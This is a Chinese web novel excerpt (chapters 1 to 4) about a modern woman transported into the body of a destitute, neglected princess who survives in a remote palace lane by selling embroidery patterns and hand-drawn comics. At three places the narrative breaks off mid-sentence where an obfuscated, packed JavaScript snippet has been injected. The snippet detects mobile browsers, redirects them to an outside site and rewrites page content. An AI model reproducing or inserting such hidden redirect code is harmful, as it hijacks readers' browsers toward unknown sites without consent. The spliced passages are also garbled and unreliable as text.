《全皇室都跟我穿越了[古穿今]》 1. 第 1 章 隆明二十一年冬,腊月廿九,天大雪三日不辍。 天凝地闭,偌大京师皆是一片茫茫长雪。 因着明儿便是岁末年三十,宫里还有一场除夕宫宴,各宫都是悬灯结彩。 长年在外礼佛的皇太后,鸾驾已于十日前从五台山重返寿安宫。众人皆知太后娘娘最重规矩和皇家祖宗礼法,最是喜她高家子孙兄友弟恭。 太后重视年三十的家宴,自归宫以后便多次过问皇后以及从旁协理的贵妃除夕宫宴筹备之况。 顶头的几位主子都如此重视,底下的人自是绷紧了不敢有丝毫懈怠。所以即便大雪过后刺骨透寒,还是有不少宫人因着自己手里的活计在冰天雪地中沉默穿梭,训练有素地忙碌着。 扫尘辞旧结彩迎新,六宫主殿但凡住了人的殿宇皆是一片年节喜气之色,但与之相反的西巷不然。 西巷位于整个皇宫最西边的偏僻之地,西巷再往里便是宫中人人嫌晦气的冷宫了。 因为偏僻,鲜有人至,这里常年如一日的破败冷寂。大雪多日的封沉,使得这处更加荒凉萧瑟,仿佛已被整个宫廷遗忘。 宫墙破旧斑驳,僻静狭窄的巷道上,积雪铺盖直至巷道尽头。 一个身形清瘦的太监在雪地里一脚深一脚浅慢慢地往前挪走着。 这小太监瞧着也不过是十三四岁的模样,被冻得有些青白僵硬的脸尚显孩子稚气,他身量瘦小,一身宫制的太监冬袄穿在他身上稍显空荡,鸦青色的袄面陈旧泛白边角打了不少补丁。 这会儿他的脸色实在称不上好看,抬脚重重踩入雪地里,蓬松的积雪被踩实,鞋底与鞋底挤压摩擦发出清晰的嘎吱声带出了他此时的愤懑。 “……一帮子黑心肝儿的!太欺负人了,吃得满脑肥肠猪油花儿,当心穿肠烂肺……” 小孩儿弓着背缩着脖拢紧了自己的袖口,在带着浓重的怨意在雪地里扒一脚踩一脚,嘴里恨恨。 他一直朝着这条寂静简陋的小巷的前方走着,直至走到尽头碰到一堵同样破败的墙,之后左拐,身影随之消失。 西巷原本其实不叫西巷,也不知叫什么,那狭长破旧的一条宫道是冷宫的通往外界的唯一出处,这里的宫墙都比别处垒高几尺,使得这条巷道常年照不到什么阳光,森冷幽深,一眼望不到头。 它本归属于西六宫,但偏僻到和冷宫的只隔了一道破败的高墙,因为冷宫里横死过不少废妃,这里便也似是常年沾染着冷宫的腌臜晦气,有传言这里前朝时闹过鬼。 若非不得已,自是无人愿意踏足这里,亦不愿过多提及,长此以往,宫中便渐渐默认将西边这块除冷宫外的荒凉地泛称——“西巷”。 那小太监穿过狭长的巷道,七弯八绕又拐了几个角,终于在一个院墙门口停了下来。 这小小的一个院子,简陋陈旧,殿大门上放的匾额也已年久褪色虫蛀,也早已看不清这小院儿原本叫什么名。 院子门口和四周的积雪被扫得干干净净,门口的角落里还搁了一把扫帚,明显是有人居住的。 大门虚掩留着一条缝,小太监走上前熟练地轻轻推开,抬步跨过门槛。 陈旧脱漆的大门发出“昂吱”一声异响。 听见这响动,院墙边上那离大门最近的那处角房的门被人悄无声息地打开了,从里面探出一个老太监的头来。 老太监面皮松弛如枯枝,浑浊中带了丝精光的的眼珠一转,视线便落在小太监打了补丁的袖筒处。 小太监正好给大门落完了栓,转回身来习惯性地用探视的目光朝角房的方向看一眼,一下便与老太监若有所思的目光撞上了。 小孩儿到底年纪小些,不经事儿,见状顿时如临大敌,压抑了一路的火气这会儿也再控制不住,一下就翻了脸,他赶紧警惕地捏死了自己的袖口,远远地冲着老太监狠狠啐了一口,骂道:“呸!狗仗人势的老货!看看看,当心看瞎了恁的狗眼珠子!” 老太监听着也只是淡淡地掀一掀眼皮觑了小太监一眼,扯扯嘴角,一张枯瘦的脸看不出是笑还是怒。 这时,院前正屋的门帘被撩起,有人听到吵闹的动静后从里屋走了出来。 “呀,春山你回来了啊!公主等了许久了,才回来……走!” 来人是个年轻姑娘,也不过十六七的样子,脸颊虽是瘦削,但许是因为骨架大的关系,臃肿的旧袄子裹在身上,整个人身形显得很是高大,比小太监春山高出了整整一个头,她力气甚大,拽着小太监的手,不由分说地拖着他往屋里走,生怕这小子真闹起来了。 春山被拉着生生拖走,待进了屋厚重的门帘放下,甩开手腕的钳制,不甘的嘟囔道:“杏芽姐你拉我作甚,怎的就不与我同那老货好好掰扯掰扯,你们是没瞧见,自打我一进门,那老东西听见了动静一出来,就不错眼盯着我的袖筒,打的什么主意呢?我呸!” 屋子里的暖炕上还坐着两个人,一个年约三十来许的妇人,头上松散地坠着一个髻,用一支木簪斜插着,容色秀丽气质娴雅,正拿着绣棚穿针引线; 另一个是个瞧着不过不过十八九的少女,容貌秀气,眉清目明,她清淡素面但肤色却过于冷白了几分,便是唇上也没甚朱色,故而看瞧着气色稍显不佳。她身上披了件半旧褪色的毯子,只这宽大厚重的毛毯之下,也不难看出这姑娘的纤瘦单薄。 她没有同旁边那妇人一般梳髻,长发披于脑后,只简单地用一根发带束起马尾,整个人窝在暖炕上,正埋首在案桌上握着一根削成尖头疑似做笔的木枝在纸上写写画画,一只炭盆在她靠近她的脚边。 那被叫做杏芽的宫女手脚麻利,拂手替春山掸去肩上和头发上的雪粒子,“公主听到了你与他争吵的声响,叫我把你喊进来,你与他闹啥子脾气?怎么样,拿回来了多少?” 杏芽一双充满热切期待的眸子紧紧盯着春山。 这一问,让春山愤慨的情绪一下便低落了下去,他抿了抿唇低垂下来脑袋,羞愧又沮丧着低声道:“没……没有,就只有这些……” 说着他从刚才紧紧护了一路的袖筒里掏出一个褪了色的荷包,打开收口绳,从里面倒出来了零零散散的一把铜板摊在掌中给在场三人看,“姓刘的自从升任掌事之后胃口是越来越大了,面儿都没见着,便他手底下的一个喽啰囫囵打发了我去,说什么刘掌事升了位,西巷这晦气之地该孝敬钱也该涨了,这二钱铜板还是看着是五公主的面子才给留的,若我再与他们闹,那便是这点铜钿也没了……一百五十两的过年银,到我们手里就只这二两了……” 少女同那妇人都停下了手中的动作,看向春山。 “那、那炭呢?肉和炭呢?米呢?一石米就一粒都没留给我们吗?” 杏芽也有些急了,要知道他们现有的存粮,根本不够四人吃过这个冬。 春山到底还是个孩子,在自己人面前,越回想方才在内务府的经历就越觉得委屈,用袖子恨恨抹了把泪,“……没有,都没有!他们说年底中宫拜见的外命妇多,筵席多,米肉消耗快,供应不及,咱们的份例就拿去充公了,能为皇后娘娘分忧是咱们的福气…… 还说太后将将回宫,寿安宫要暖合起来,咱们的炭被拨到寿安宫去了……公主,他们真是欺人太甚!凤仪宫会缺那点米肉?寿安宫便是不烧地龙用的也是银霜炭,咱们那点灰炭寿安宫的下人都嫌弃……呸,这群杀才,明明贵妃特意提过的!” 按本朝例,这次是做过年的红封和份例若按正经了算,他们西巷主仆四人,公主一百五十两,其他三人各五两,一共一百两六十五两,主仆四人其他份例共有猪肉八斤,米一石。 春山越说越激动,声音都哽咽了。 被唤作公主的女孩微微叹口气,搁下了手中的木枝笔,探身从正温在炉子上的茶壶里倒了一杯茶,抬手递给春山。 她似乎并没有怎么触动到怒意,甚至还翘起嘴角笑笑,存心想逗一逗面前这哭唧唧的小子,“小春啊,这么些年了,你越长越大,怎么还没习惯,这满皇宫的人,除了咱屋里的,哪个把我当个公主看。” 春山憋着一泡眼泪,接过那递过来热气腾腾的茶缸子捧在手里。 少女拍拍自己身边的空位示意春山过来坐,“不过走这一趟,我原预想的是全军覆没连根毛都拿不回来,你居然还能拿回一把铜板,非常不错,比我想象中的能干,值得表扬。” 春山被夸得有些脸红,但约莫还是心有不甘,“可是……可是明儿个就是除夕了,现在便是再托人买炭,那些黑心肝儿的二两银都得吃一两半的回扣,我就是不甘心,以往便也罢了,这回的过年红封可是贵妃娘娘协理六宫督办的,她提过的西巷的份例也不能少,内务府那群龟孙怎的还如从前那般有恃无恐……” 这时,原本一直在旁边安静听几个小的吵闹的妇人停下了手中的针线,伸出食指在春山的额头无奈地点了点:“你呀,翻了年便十四了,平日里鬼主意都瞒在肚子里,这急躁的性子何时才能仔细收敛起来?今儿这事得亏你最后收住了,若真与内务府的人闹起来,闹到了上头那几个的跟前,最后吃苦头的还是我们。 贵妃是新宠,龙椅上的有意扶持她与皇后斗,如今欣贵妃才得了协理六宫之权,明面上这么端端正正地说一嘴西巷也得正经的红封份例,不过是为了和皇后叫板给她下马威罢了,还白得一个贤惠仁慈之名,你可觉得她当真是为我们要替我们撑腰?” 妇人心想马上就要过年了,宫里几尊大佛都聚齐了,还凭白多出一个刚晋贵妃就协理六宫的郑氏,接下来宫里该有好长一段时日的热闹,她看着豆子还留有特属于孩子清澈眼神,有意掰碎了细细讲与他听:“欣贵妃风头再如何盛,便是能与皇后作对,还能越过最顶头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杏芽低头不语就当什么都未听见,手里着翻拣黄豆,他们在冷宫边上开垦的那一块地,入春种下种,喜收成喜人,当季是吃了一部分,剩下的养成黄豆晒干收了起来,平常都舍不得多吃,前几日想到快过年了便想着拿出来吃一些,谁知竟生了虫。 杏芽一粒粒认真地挑着,把蛀了虫的豆子都拣出来,这可不兴得扔,到时候拿水泡一泡,虫就都泡出来了,黄豆碾碎做豆饼还是可以吃,不打紧的,公主说了,黄豆可是好东西,含有什么什么丰富的蛋白质,说是没肉吃的时候当肉吃,补充身体必需的蛋白质…… 虽然她不明白为何身体必须得需要这什么蛋白质,但只要公主说的管她对不对,听就对了。 而此时那个被无条件拥趸的某人,正龇着个大牙火上浇油:“对对对,姑姑用力!别光拧左耳,右耳也拧一拧,倒霉孩子,这大过年的,说什么死不死,还‘早晚死在西巷’多不吉利啊……咳,咱们讲究人不说‘死’,要说‘嘎’。” 春山脑瓜子灵活,被拧着耳朵顺嘴就回了句:“那就让那老东西迟早嘎在西巷!还有姓刘的,老子诅咒他吃太多噎死!” “是噎嘎。” “对,噎嘎!” “李岁宁!” 眼睑巽娘真要发脾气了,这叫“李岁宁”的女孩儿识趣讨饶:“错了错了,姑姑我错了,过年了开个玩笑一起乐呵乐呵嘛!自娱自乐,你瞧旁边冷宫里的,有几个不疯的,昨儿夜里那戏腔吓得我呦……长期处于这种环境下人是真容易憋出毛病的,好姑姑,多笑笑嘛!精神的自由财富是谁都无法剥夺的!” 巽娘听着,她坐下来看着自己面前三个稚嫩的孩子,浅浅叹息一声,终于放过了春山是耳朵。 那叫李岁宁的少女眸中的笑意慢慢敛下,但她双瞳依旧清亮,轻声安慰道:“姑姑总能活下去的,我还想出去看宫外的世界,人活千变,总能找到机遇出去的。” 巽娘没有说话。 案桌上那叠泛黄的纸张拿起来,少女对着最上头那张为干的墨迹吹了吹,然后递给春山:“喏,可算是把这一期赶出来了,估摸着书局那掌柜也真是催急了,这会儿天色还早,杏芽你去匣子里拿两粒银锞子,小山,你再辛苦跑一趟东小门使银子让江老七把画稿带出去。” “画好了!太好了,我看看,我先看看。”春山俩耳朵通红蹦过来惊喜地接过手稿,当即一张张埋头翻阅了起来。 公主说这叫追连载,他每一期都能第一个先睹为快。 见这小子双眼瞪得老大哗哗翻纸,女孩用指骨结敲了敲桌面,开口提醒道:“先别看了,赶紧送过去,我估计今天就最后几趟采办,今天夜里宫门就得落钥戒严了,要是赶不上趟送出去,今年这个年咱们可就真得喝西北风了,回来我拿底稿再让你看个够!” “好勒!我这就去。”春山到底还是个孩子,情绪来得快去得也快,小心翼翼地将纸稿叠好塞进桌案上放着的那个信纸壳里。 信纸壳子上端正地写着一行字——《喜羊羊与灰太狼拍案惊奇之一百廿三话——喜羊羊青青草原登科及第》 2. 第 2 章 一直以来,孟书渺都不怎么认为自己是一个能多么吃苦耐劳、有坚韧顽强毅力且多么好脾气的人。 她出生在一个经济条件相当优越的家庭,富裕且环境良好的原生家庭让她无忧无虑长大。 孟家父母年轻时下海经商,白手起家。大儿子出生时还只有一个家庭手工作坊式的小厂,两口子起早贪黑挣家业,等到生意正式上了轨道,二胎也意外地来了。 那会儿计划生育抓得还严,孟家原是没有二胎资格的,但这时候的孟爹孟妈已经不差钱了,这二胎来的不容易,夫妻俩包括大儿子都想要这个孩子,于是超生的罚款该交多少就交多少。 正巧那时候正巧赶上跨境贸易发展的风口,出口贸易条件改善,孟爸孟妈眼光敏锐精准,趁着厂子的红火发展又干和老外做起了生意,毫不夸张地说,当时孟家工厂周边的几个镇子超过一半以上的人都在孟家的厂子里工作或者曾经工作过。 零几年的时候在那个家用小汽车还只刚开始小面积普及的年代,孟书渺就已经可以穿着公主裙,坐着头等舱漂洋过海去加利福尼亚的迪斯尼和白雪公主合影了。 可以说,照这样的轨迹,孟书渺的人生将一路庄康。 但事实就是计划赶不上变化,孟书渺甚至吃饱了撑着的时候有担心过自己家会破产她得去睡大街都没有想过有一天她会碰上穿越这种离奇又操蛋的事! 穿越就穿越吧,这年头谁还没看过几本穿越小说。 那些穿越女主男主们个个都身怀绝技仿如六边形战士,唐诗宋词张口就来,小到水泥、肥皂,大到火药大炮都能手搓出来。 可轮到孟书渺,换了一个陌生的时空,作为一个名副其实的富二代,她的娇生惯养和五谷不分那都是实打实的。穿越之后的最开始那几年,因为特殊身份造成的困顿,她连种个菜都是种一茬蔫一茬,有一回更是因为认错了野菜而差点吃死人。 孟书渺穿越的这具身体原主人身世相当之曲折,作为一国公主,原也应是身份高贵被娇养长大的,但她的外家以通敌卖国之罪名,一家老小子统统被拉到菜市口掉了脑袋,而原生的母妃在生下她之后于宫中自戕,最后就只剩下她这个从出生起就被皇帝厌弃的小可怜。 原主被她母妃身边一个忠心的婢女带着在西巷的一个小院里艰难抚养长大,其实和被打入冷宫没有任何区别,宫里那些稍微有点来头的宫人都活得比她这个公主滋润。 孟书渺穿越也有些年头了,却仍在被饿死冻死病死的边缘来回徘徊。 孟书渺毕业于首都外国语大学西语专业,2520年怎样的就业前景先不提,反正在这个陌生的古代她就是废物一个,除了吃饭睡觉上厕所,好像不再有任何能擅长使用的技能,别说在古人面前炫几句外语,刚穿来那会儿她连开口说话都不敢,生怕被人发现她是个冒牌货,从而被当成异端一把火烧了。 原主是被有心人诱至御花园一个偏僻的荷花塘中溺毙而亡的,孟书渺穿越接管了这具身体后一个人从臭的发绿的池塘中爬了上来,凭借原主在脑海中残存的一些记忆游魂一般地自己回到了西巷。 这此后的几天里一直有人徘徊在西巷进行窥伺,这使得抚养原主长大的巽娘如临大敌般惶惶不可终日了许多天。 孟书渺从荷花池里出来后就大病一场,彼时这具身体只有九岁,而内里却是孟书渺这个二十多岁拥有成年人思想的魂魄,所以在意识到自己当下艰难处境后,她好多天没有开口说话,急得巽娘以为她高热烧坏了脑子和嗓子,一直到慢慢适应了周遭的环境后她才试探着一点点开口说话。 孟书渺穿越所在的这个朝代,与她曾经的那个现代社会所朝前呈现的历史长河有所相同,亦有所不同。同样是华夏土地,三皇五帝作为人文始祖血脉起源;同样传承农耕文明,孔孟儒学。同样有山海经中所记载的传,从盘古开天辟地、女娲造人,到黄帝战蚩尤、大禹治水三过家门,夏、商、周,春秋战国诸侯混战,直至始皇扫六合四海一归。 而两个时空历史发展的差异节点就在秦朝。 在这个时空,秦始皇并未东巡崩于沙丘,而是罕见地活到了八十高龄,秦朝也就因此并未二世而亡,至此秦朝之后的历史与孟书渺所在的那个世界的立时完全不同了。 她现在所在的这个朝代依旧是一个儒家思想统治下的封建社会,国号卫,皇姓高,现如今在位的是第六位皇帝,也就是孟书渺这具原身的便宜爹昌明帝。 她刚穿越过来那会儿,了解到这些与她从前所学截然不同的历史,甚至合理怀疑秦朝那会儿大约也有个穿越者,但人家比她厉害,厉害到改变了历史的走向。 想归想,这一切都早已无从考证,现在在这个完全陌生时空的孟书渺不过就是茫茫时间洪流中那渺小的一粒尘埃。她没有那个能力改变历史的走向,她甚至连自己的命都是朝不保夕。 …… 巽娘掀开门帘,带着灌室而入的几丝寒气,她将手中端着热气腾腾的陶盆放在案桌上,将桌上杂乱的纸张规整好放到一边,对着还在皱眉咬笔杆的孟书渺轻声劝道:“停笔罢,油灯光暗,仔细伤了眼,和书肆约定的稿子已送出,余下的慢些来等明儿日里再画,待过了初三宫门解禁到时再送出去也是不迟,小山送画稿出去这会儿也该回来了,咱们准备开饭罢。” “嗯,画完这张就不画了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212685|181355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟书渺一边应声着,一边停停画画手中的笔,将一页纸稿画到满意之后揉了揉自己酸胀的眼眶,终于放下了笔。 她面对春山时嘴上虽说得轻松,其实心中是有些焦虑的。 今年的寒冬来的比往年都要早,也更冷,每次下雪必是大雪,且几日不停。 这里不是现代,有科学的手段对气候天气进行检测预报,她们也只按往年的经验准备了差不多的过冬物资,卫京地处偏北,冬日本漫长,谁承想今冬会这般冷得超乎往常,这还没到过年,存贮的过冬物资已经消耗将近三分之二,无论是果腹的食物还是取暖的柴炭都不足以支撑到来年开春回暖。 宫里是不会有人管她们西巷和冷宫里人的死活的,每年冬天旁边冷宫都会抬出去好几具僵硬的尸体。 在这个皇宫有多少人的心比石头还要冷硬,虽说吃穿用度按皇太后当年的明面账上的吩咐理应西巷是有一份的,但克扣西巷这个无宠公主的份例仿佛就是宫里每个捧高踩低的人都默认的。 这些年来,吃的穿的用的都是靠孟书渺他们自己想各种法子挣来的,被困在西巷一层又一层的宫墙之内,除了一些菜他们可以自己种,大多数生活必需品只能花精力打通关系,用高价私底下从专门做倒买倒卖生意的宫人手上买。 例如取暖时普遍所用的白炭,宫中入冬就会按份例登记发放。而宫外的京城百姓生活物价也算高,但一斤质量好些的白炭平日里也就卖到二三十文左右,而孟书渺她们从中间人手里是以三百到四百文一斤的价格买的,而今天大寒,整个京都白炭之类的取暖之物价格更是一夕暴涨,等到了孟书渺他们手中,这个价格更是不知道要翻几番,就这还不一定买得到。 不是开玩笑说说,活不起,是真的活不起。 这些年来,孟书渺和养大她的巽娘,后又多了春山和杏芽两个小的,四个人在这西巷用尽全力求生,没有任何多余的闲情逸致。 每天两眼一睁就是想怎样填饱肚子,后头荒地里种下去的那批菜能不能活,天冷了怎样才能不被冻着,该如何才能多想些宫外挣钱的门路…… 可在这宫里,西巷贫瘠轻贱,这些钱财如刮油一般从上至下一层又一层地被刮走,无论她们怎么辛劳努力,却一直连温饱问题都无法解决。 原主的母亲出身名门,在自戕前原也提前给原生秘密留了一些生存用的金银珠宝,再加上后来巽娘和孟书渺想的一些营生门路,其实也有不少钱。 孟书渺有时候想起来就气,这么多钱,若是在宫外,这些钱财加起来足以让四个人衣食无忧富足一生,可在这个出也出不去逃也逃不走的深宫里最后全落进了宫里那些投机倒把的家伙手里! 3. 第 3 章 孟书渺将画稿按先后顺序整理好,标上序列,然后小心翼翼地叠起来放进一旁的匣子里,这些纸都是次等的麻纸,脆得掉渣,稍稍用力些就被撕烂。 据说原主的母亲自戕后巽娘带着原主移居西巷,明面上对于皇帝这个被厌弃的女儿仍等同其他几个公主供给每月份例,但不管是原主在时还是孟书渺来了之后,就从来不曾见宫里任何一个人过她们一粒米一个铜板。 最开始孟书渺穿越来之前一直是巽娘在拼命做针线活然后偷偷带出宫换点钱来糊口,只是快熬瞎了眼睛赚的那几个钱孟书渺的这具身体去太医署求几贴药就没了。 孟书渺摸着饥肠辘辘的肚子在边上悄悄观察了几天,她发现巽娘女红手艺虽好,但大都是花鸟虫鱼千篇一律,再加上充当掮客的宫人还要赚取一大笔差价,故而利润极低。 最终,虽害怕被人看穿她是个冒牌货,但她还是小心翼翼地找了些借口试探着用现代风格画一些图案,假装不经意地让巽娘提几句让她试着换个绣稿做些新的花样试试看。 巽娘大概也没了别的主意就听了孟书渺的,试着绣了一些拿出宫去卖,结果大受欢迎。自那之后,孟书渺又帮着画了很多现代化风格的图案,有花草树木,有线条华丽的图案,也有可爱卡通形象,若是以现代人的眼光,都是些烂大街的寻常图案,但在这个古代,胜的就是一个新意。 这让巽娘欣喜万分,只是让孟书渺帮着多画些,倒也未曾将注意力放在孟书渺身上察觉有什么不妥的地方。 于是孟书渺慢慢放下心来,开始每日绞尽脑汁地回想在现代时所能想到的一切图案,书上的衣服上的、窗帘上的、广告牌、商品包装等等,凡是能想起来的都画下来,再仔细挑选出适合做绣稿的。 只是孟书渺和后来才来西巷的杏芽、春山都不会做绣活,到头来还是只有巽娘一人为了赶工期埋头苦干,绣坊那边因为卖得好又常常催得急,孟书渺实在心疼巽娘,最后和绣坊两方一合计,干脆就直接卖她画好的绣稿花样子。 就这样开辟了一条新的赚钱路子,在缺衣少食的西巷,成功养活了四张嘴,后来她们慢慢地也存下了一些余钱,生存的压力得到了缓解,孟书渺在空闲之余就有琢磨出了别的赚钱法子。 最开始抱着试一试的心态,她根据记忆开始描绘整理动漫书,凭着她二十一世纪从小看动画动漫的丰富且混乱的阅片量,从小时候看的《哪吒传奇》、《小鲤鱼历险记》,到长大些看过的《海贼王》、《夏目友人帐》等等,按她记忆里的样子,有些画得像,有些画得不大像,配上她还记得的那些剧情再结合卫朝当下的时代背景,低质量高产出,画了一本又一本。 孟书渺小的时候,她那暴发土大款的爹,觉得应该花钱让俩孩子接受艺术熏陶,什么钢琴、芭蕾、小提琴、书法等等一大堆,甭管她们兄妹俩有没有这个艺术细胞,重金砸下填鸭般地乱学一通,想着时间长了总归能和艺术沾点边。 她学的东一榔头西一棒槌,小提琴拉得像二胡,反倒是她哥高中时就拿了钢琴十级,她素描和油画倒是学了十几年,不过既没有十分优异也没到热爱的程度,家里也不需要她将来靠这挣钱吃饭,所以高考也就放弃了美术生的路,只当爱好培养。 回想当初,孟书渺如今在因穷而失眠的日夜里无数次感念她亲爹当初的明智之举,画画这个曾经可有可无的爱好现在居然成了她不被饿死的看家本领,她无数次想对那些画手太太们说声对不起,原谅她为了不被饿死而各种抄袭融梗窃取他人成果,拾人牙慧外加胡编乱造,产出了一堆在现代能被漫迷唾沫星子淹死的低质量垃圾漫。 孟书渺画的这些绘本虽然自己嫌弃自己,但在这个时代却是从未有过的新奇, 从最初那本《黑猫捕快拍案惊奇》有书肆收了试水给的价格低些,火了之后,后头的那几本稿费都挺高的,因为绘本一开始针对的就是京都上阶层人士,她甚至还有不少收到过狂热的土豪粉丝读者带给她的信和丰厚的打赏。 对此,孟书渺眼含热泪,不论在现代还是古代,二次元永远赛高!要不是现在她身处囹圄,她高低得开周边卖谷挣他个小目标。 她靠着这些钱在西巷也一点点积少成多挣下了一副用来生存生活的家当,吃饱穿暖暂时不成问题。 就比如现在她手里的这部绘本,大概就是记忆中喜羊羊灰太狼的形象,配上她自己编造的幼稚且不怎么严谨的探案情节,约莫是连载正巧赶上冬日大雪时节,那些权贵富户们在家里猫冬闲出屁来了,这书订阅量一下猛增,书肆掌柜三天两头火急火燎地催她加更。 目前她手里大概已经有两期连载的数量了,趁着正月里头几天皇宫禁严,她准备再加把劲赶一赶,凑个整三期,掌柜答应额外补贴的加更费,这样她手里的分红就也能多些,这笔钱应该暂时解她们的燃眉之急。 这厢孟书渺在整理画稿,那边巽娘已经摆开了碗筷,她用汤勺将大陶盆里浓稠的杂菜汤糊糊打出来,一碗碗盛在碗中,一共盛了五碗。 杏芽这时候又从外头端进来一碟子黑呼啦差的窝头。 巽娘朝门口看了眼,正打算出去看看送画稿的春山有否回来的时候,春山掀开门帘就进来了,他呵了一口气,咋咋呼呼地跺脚抖着身上的雪花,朝着摆饭的案桌奔去,一屁股坐下,眼巴巴地等待正式喊开饭。 巽娘在他头上轻拍一下,打了一碗热气腾腾的糊糊,在上头盖了两个窝头,递给他:“去,给蔡老头送去,回来再开饭。” 春山又炸了起来,小孩俩眉毛都快竖直了,“为何又要给那老货,往常他总是吃我们的喝我们的也就罢了,如今我们自己都快饿肚子了,还要浪费粮食给他送吃的,凭什么?” 巽娘却不予理会,强势地将碗塞进春山手里,无奈叹息道:“平日里与你说这么多你这孩子怎的就是听不进去呢?这莽撞的性子何时才能改过来?” 孟书渺撑着手半站起身,在春山后脑勺上拍了一巴掌,“小孩子家哪那么多凭什么,那老头平日里咱们进进出出他睁只眼闭只眼的,也就是看在我们时常给他送吃的份上不与你个小破孩计较罢了,眼下皇后那边真要换个人过来替了蔡老头,你觉得新来的会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212686|181355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是只吃你一碗窝头菜糊糊这么简单?快去快回,对人态度好点。” 春山听了低头沉默片刻,他原就是聪明机灵的,只是因为最近的生存危机焦虑而有点钻了牛角尖,孟书渺这么一点,他立马就通了,沉默了片刻后鼓了鼓腮帮子,“晓得晓得,以后都不与他吵了,这就去!” 说完后拿起那碗窝头汤糊糊出去了。 凛冬大雪,西巷苦寒沉闷,消耗生气,看着这个半大的孩子尚能每日满是活力吵吵闹闹蹦跳着进出,逗着他说说笑笑,倒也能让这种逼疯人的环境显得鲜活些。 三个人将桌面摆好,等春山回来之后便围坐在一起开了饭。 西巷就她们几个人相依为命,孟书渺不搞宫中尊卑有别那套虚的,这么些年下来大家一直都是同桌吃饭,如今外头雪窖冰天,围在一起吃也能热乎些。 今晚的主食是每人三个拳大小的窝头,就一盆叫不出什么名字的汤糊糊,煮的东西有些杂,浓稠的汤水上飘了不少惨绿的菜叶子。 冬日里新鲜的绿叶子蔬菜价贵如金,新鲜菜蔬等闲人是吃不起的, 西巷西侧和冷宫连接的后院又快荒了许多年的空地,里头原本杂草丛生,地处得又偏,旁人发现不了,于是她们就在那里头辟了块地,托人从宫外买些种子回来,按季种些菘菜、瓠子、大豆等蔬菜,春天的时候还能薅一些自己长出来的野菜,除了当季吃新鲜的,多余剩下的就适合晒干的晒干,腌渍的腌渍。 今天汤湖糊里煮的是叫马兰头的野菜,春季这种野菜见雨就成片地长,熬盐水腌制密封保存,滋味并不好,但还带使她们在冬日里还能有口菜吃,且用腌渍的野菜煮汤自带咸味,倒省了放盐的步骤,要知道从宫中那些黑心的二道贩子手里买盐可不便宜。 汤湖糊里除了野菜还打了两个鸡蛋的蛋花,前天孟书渺做主杀了三只兔子,兔子同样是悄悄养那荒院里的,。 兔子这玩意儿优点是能生,但兔肉营养单一,脂肪含量少,不能满足他们目前在寒冬中的贴膘需求,但就这样还是舍不得常常吃,这是难得能吃到的荤腥。 今年收的黄豆还存了一些,杏芽挑了些蛀虫的出来,舍不得丢,泡了水去掉些虫蛀杂质,碾成豆渣揉进面粉里。面是陈面,掺了些麦麸,还有些沙砾和木屑,需要自行筛出来,但相对于其他主食这陈面价格还算便宜,一两银子能买上一大袋子,豆渣加上麦麸面粉,揉成团,上锅一次蒸一笼,邦邦硬,冬日易保存。 孟书渺拿起一个窝头,咬一口,口感粗糙带着令人难以下咽的豆腥味,咀嚼吞咽下去的时候有些剌嗓子。再捧起碗里的汤湖糊喝了一口,她们能买得起的都是劣等的粗盐,除了些许咸味,还有苦涩的口感并伴随着兔肉的腥膻。 筷子夹起一块兔肉放进嘴里,那腥膻味更重了,兔肉入汤前还先用少许油煸炒了一下,他们这里除了一些劣等的浊酒哪拿得出手什么去腥佐料,所有食材一锅炖是为了节省柴火。杏芽厨艺很是不错,这些食材做出这样的一顿晚饭已经很不容易了。 吃吧,有的吃就不错了,要什么自行车! 4. 第 4 章 简陋屋子里柴火炉正烧得旺,再加上刚出锅的饭食冒出的腾腾热气,不大的空间倒也是暖的,便是连孟书渺一个常年体寒白脸的废柴此刻脸蛋也是暖红的。 只是这饭却不怎么好吃,孟书渺艰难地嚼着嘴里柴硬的兔肉,很有阿Q精神地安慰自己,这几天的几顿饭可算是丰盛的了,慢碳、优质蛋白和膳食纤维一个不少,还低钠少油,怎么不是一份完美的管理期自律减脂餐呢? 能吃就得多吃点,吃得多了,感觉这辈子也就这样了。 她这身体,体寒贫血脾胃虚弱,三步带一喘,还是个易过敏体质,是个动一动就要掉空血槽的弱鸡,这几天胃口又不是很好。 不同于孟书渺的食不知味,春山倒是吃得香甜,他咕噜噜喝完一碗汤湖糊,舔舔碗壁,即便竭力掩饰但那副没吃饱意犹未尽的样子还是很明显,他现在正是大小子吃穷老子的时候。 孟书渺看得心酸,探手拿起汤盆里的汤勺,抄底捞了一些的兔肉和蛋花放进春山碗里,又把自己手边的一个窝头给了他,“吃吧,多吃点。” 春山不好意思地挠挠头,接过来掰了半个窝头给旁边的杏芽,然后拿着剩下的半个窝头就着汤湖糊又埋头苦吃起来,每吃掉一块兔肉他都含着骨头嗦了又嗦。 